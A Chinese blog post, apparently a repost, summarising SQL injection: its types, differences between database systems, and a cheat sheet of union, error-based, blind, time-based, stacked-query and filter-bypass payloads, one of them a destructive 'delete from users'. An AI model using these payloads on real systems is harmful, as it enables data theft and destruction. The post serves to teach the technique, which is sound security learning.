SQL注入总结(一)

SQL注入原理

当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。
攻击者通过构造不同的sql语句来实现对数据库的任意操作。

SQL注入的分类

按变量类型分:数字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
按数据库类型分:

sql:oracle、mysql、mssql、access、sqlite、postgersql
nosql:mongodb、redis

MySQL与MSSQL及ACCESS之间的区别

1.MySQL5.0以下没有information_schema这个默认数据库
2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释

举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`

3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)

判断三种数据库的语句

MySQL:and length(user())>10

ACCESS:and (select count(*)from MSysAccessObjects)>0

MSSQL:and (select count(*)from sysobjects)>0

基本手工注入流程

1.判断注入点

数字型:id=2-1
字符型:' 、')、 '))"、 ")、 "))
注释符:-- (这是--空格)、--+/**/、#

在这里插入图片描述
2.获取字段数
order by 二分法联合查询字段数,观察页面变化从而确定字段数

order by 1
order by 50

group by 译为分组,注入时也可使用,不过我没用过

3.查看显示位尝试使用联合注入
利用and 1=2或and 0及id=-12查看显示数据的位置
替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)

and 1=2 union select version(),2,3

再查询所有数据库

and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3

查询所有表名

union select (select group_concat(table_name)from information_schema.tables),2,3

查询所有字段名

union select (select group_concat(column_name)from information_schema.columns),2,3

查询字段内容
如:查询test库下users表的id及uname字段,用’~'区分id和uname以防字符连接到一起

union select(select group_concat(id,'~',uname)from test.users),2,3

报错注入

通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

相关连接: https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
POST中的报错注入
在这里插入图片描述

报错注入

我在盲注中常用的函数:
1.char() 解ASCII码
2.mid()截取字符串

举例:mid('hello',1,3),从第1位开始截取3位,输出位hel

3.substr()与mid()相同,都为截取字符串
4.count()计算查询结果的行数
5.concat()查询结果合并但保持原有行数
6.group_concat()查询结果合并但都放在一行中
7.ascii() 查询ascii码
猜数据库长度(利用二分法)

id=1 and (length(database()))>1
id=1 and (length(database()))>50

猜第一个字符,第二个字符,以此类推

and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1

查询当前数据库中所有表名

and (select count(table_name)from information_schema.tables where tables_schema=database())>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>10

查询第一个表的长度

and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10

查询表的第一个字符

and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1

查询atelier表里有几个字段

and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2

查询第一个字段长度

and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1

查询字段第一个字符

and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105

查询字段所有行数

and (select count(*) from db83231_asfaa.atelier)>4

查询字段名的行数(查询emails表,uname字段)

and (select count(uname)from security.emails)>7  查询uname的行数

查询字段内容

length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100

将查询到的ASCII码放到mysql中查询
举例:select char(39);
在这里插入图片描述

延时盲注

利用sleep(3)和if(1=2,1,0)及case进行延时注入,示例:

select * from user where id='1' or sleep(3) %23

这个没什么好说的

select * from user where id= 1 and if(length(version())>10,sleep(3),0);

如果长度大于10,则睡3秒,其他则0秒

select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;

case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。

多语句注入

多语句意思就是可以执行多个语句,利用分号进行隔开

示例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+
id=1';select if(length(user(),1,1)>1,sleep(3),1) %23
';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23

内联注入

举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

利用别名:

union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)

相关链接: SQL注入总结(二)
原文链接: 科普基础 | 这可能是最全的SQL注入总结,不来看看吗
公众号: HACK学习呀

  • 6
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值